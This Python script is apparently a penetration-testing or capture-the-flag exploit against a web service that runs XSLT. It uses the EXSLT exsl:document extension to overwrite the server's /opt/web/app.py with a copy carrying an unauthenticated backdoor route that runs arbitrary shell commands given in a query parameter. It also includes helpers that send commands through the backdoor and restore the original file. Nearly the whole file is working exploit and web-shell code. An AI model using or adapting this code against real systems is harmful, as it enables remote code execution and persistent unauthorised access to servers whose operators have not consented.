#!/usr/bin/env python3
"""Read, patch, and overwrite /opt/web/app.py through the XSLT service."""

import argparse
import re
import time
from pathlib import Path

import requests

from read_app import BASE, login, read_app, upload, xml_escape, write_wrapper_dtd

REMOTE_APP = "/opt/web/app.py"
BACKDOOR_PATH = "/__xslib_diag"
MARKER_BEGIN = "# XSLIB_BACKDOOR_BEGIN"
MARKER_END = "# XSLIB_BACKDOOR_END"
DEFAULT_BACKUP = Path("source/opt_web/app_before_backdoor.py")


def build_backdoor():
    """Return an unauthenticated command endpoint inserted before app.run()."""
    return f'''{MARKER_BEGIN}
import os as _xslib_os
import subprocess as _xslib_subprocess
import sys as _xslib_sys

@app.route("{BACKDOOR_PATH}")
def __xslib_diag():
    # Used after restoring the original source when the old inotify watch was
    # attached to the replaced inode and therefore did not restart the app.
    if request.args.get("reload") == "1":
        _xslib_os.execv(
            _xslib_sys.executable,
            [_xslib_sys.executable, _xslib_os.path.abspath(__file__)],
        )

    command = request.args.get("cmd", "id")
    try:
        completed = _xslib_subprocess.run(
            command,
            shell=True,
            cwd="/opt/web",
            stdout=_xslib_subprocess.PIPE,
            stderr=_xslib_subprocess.STDOUT,
            timeout=15,
            text=True,
        )
        output = completed.stdout
    except Exception as exc:
        output = f"{{type(exc).__name__}}: {{exc}}\\n"

    return output, 200, {{
        "Content-Type": "text/plain; charset=utf-8",
        "X-Xslib-UID": str(_xslib_os.getuid()),
    }}
{MARKER_END}
'''


def patch_source(source):
    """Insert or replace the marked backdoor block."""
    block = build_backdoor()
    marked = re.compile(
        rf"^{re.escape(MARKER_BEGIN)}$.*?^{re.escape(MARKER_END)}$\n?",
        re.MULTILINE | re.DOTALL,
    )
    if marked.search(source):
        return marked.sub(block + "\n", source, count=1)

    main_guard = re.search(
        r"^if\s+__name__\s*==\s*['\"]__main__['\"]\s*:",
        source,
        re.MULTILINE,
    )
    if not main_guard:
        raise RuntimeError("could not find the __main__ guard in app.py")

    return source[: main_guard.start()] + block + "\n" + source[main_guard.start() :]


def make_writer_xsl(content):
    escaped = xml_escape(content)
    return f'''<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 xmlns:exsl="http://exslt.org/common"
 extension-element-prefixes="exsl">
 <xsl:output method="text"/>
 <xsl:template match="/">
  <exsl:document href="file://{REMOTE_APP}" method="text">{escaped}</exsl:document>
  APP_OVERWRITE_OK
 </xsl:template>
</xsl:stylesheet>'''


def overwrite_app(session, content):
    """Trigger the app.py overwrite; a connection reset is expected."""
    writer_xsl = make_writer_xsl(content)
    try:
        result = upload(
            session,
            "overwrite.xml",
            '<?xml version="1.0"?><root/>',
            "overwrite.xsl",
            writer_xsl,
        )
    except (requests.ConnectionError, requests.Timeout):
        # watch.sh may kill the request-serving process immediately after the
        # exsl:document close_write event.
        return

    error = re.search(
        r"(?:XSLT processing failed|Processing error).*?</p>",
        result,
        re.DOTALL,
    )
    if error:
        raise RuntimeError(error.group(0))
    if "APP_OVERWRITE_OK" not in result:
        raise RuntimeError("app overwrite did not return APP_OVERWRITE_OK")


def call_backdoor(command="id", reload_app=False, timeout=5):
    params = {}
    if reload_app:
        params["reload"] = "1"
    else:
        params["cmd"] = command
    return requests.get(
        BASE + BACKDOOR_PATH,
        params=params,
        timeout=timeout,
    )


def wait_for_backdoor(command, seconds=15):
    deadline = time.monotonic() + seconds
    last_error = None
    while time.monotonic() < deadline:
        try:
            response = call_backdoor(command)
            if response.status_code == 200:
                return response
            last_error = f"HTTP {response.status_code}: {response.text[:100]}"
        except requests.RequestException as exc:
            last_error = str(exc)
        time.sleep(0.5)
    raise RuntimeError(f"backdoor did not become ready: {last_error}")


def wait_for_health(seconds=15):
    deadline = time.monotonic() + seconds
    last_error = None
    while time.monotonic() < deadline:
        try:
            response = requests.get(BASE + "/health", timeout=3)
            if response.status_code == 200 and response.json().get("status") == "healthy":
                return response
            last_error = f"HTTP {response.status_code}"
        except (requests.RequestException, ValueError) as exc:
            last_error = str(exc)
        time.sleep(0.5)
    raise RuntimeError(f"original service did not recover: {last_error}")


def install(args):
    session = requests.Session()
    print("[*] Logging in")
    login(session)

    print(f"[*] Reading {REMOTE_APP}")
    write_wrapper_dtd(session)
    original = read_app(session)

    args.backup.parent.mkdir(parents=True, exist_ok=True)
    args.backup.write_text(original)
    print(f"[+] Backup: {args.backup} ({len(original)} bytes)")

    patched = patch_source(original)
    print(f"[*] Overwriting {REMOTE_APP} ({len(patched)} bytes)")
    overwrite_app(session, patched)

    print(f"[*] Waiting for {BACKDOOR_PATH}")
    response = wait_for_backdoor(args.command)
    print(f"[+] HTTP {response.status_code}, remote uid={response.headers.get('X-Xslib-UID')}")
    print(response.text, end="" if response.text.endswith("\n") else "\n")


def execute(args):
    response = call_backdoor(args.command)
    print(f"HTTP {response.status_code}, remote uid={response.headers.get('X-Xslib-UID')}")
    print(response.text, end="" if response.text.endswith("\n") else "\n")


def restore(args):
    original = args.backup.read_text()
    session = requests.Session()
    print("[*] Logging in")
    login(session)
    print(f"[*] Restoring {REMOTE_APP} from {args.backup}")
    overwrite_app(session, original)

    # If the original inotify watch was lost when the inode was replaced, the
    # running backdoor can exec the now-restored source itself.
    try:
        call_backdoor(reload_app=True, timeout=3)
    except requests.RequestException:
        pass

    response = wait_for_health()
    print(f"[+] Original service recovered: {response.text.strip()}")


def parse_args():
    parser = argparse.ArgumentParser()
    subparsers = parser.add_subparsers(dest="action", required=True)

    install_parser = subparsers.add_parser("install")
    install_parser.add_argument("--backup", type=Path, default=DEFAULT_BACKUP)
    install_parser.add_argument("--command", default="id; hostname; pwd")
    install_parser.set_defaults(function=install)

    exec_parser = subparsers.add_parser("exec")
    exec_parser.add_argument("command", nargs="?", default="id")
    exec_parser.set_defaults(function=execute)

    restore_parser = subparsers.add_parser("restore")
    restore_parser.add_argument("--backup", type=Path, default=DEFAULT_BACKUP)
    restore_parser.set_defaults(function=restore)
    return parser.parse_args()


if __name__ == "__main__":
    arguments = parse_args()
    arguments.function(arguments)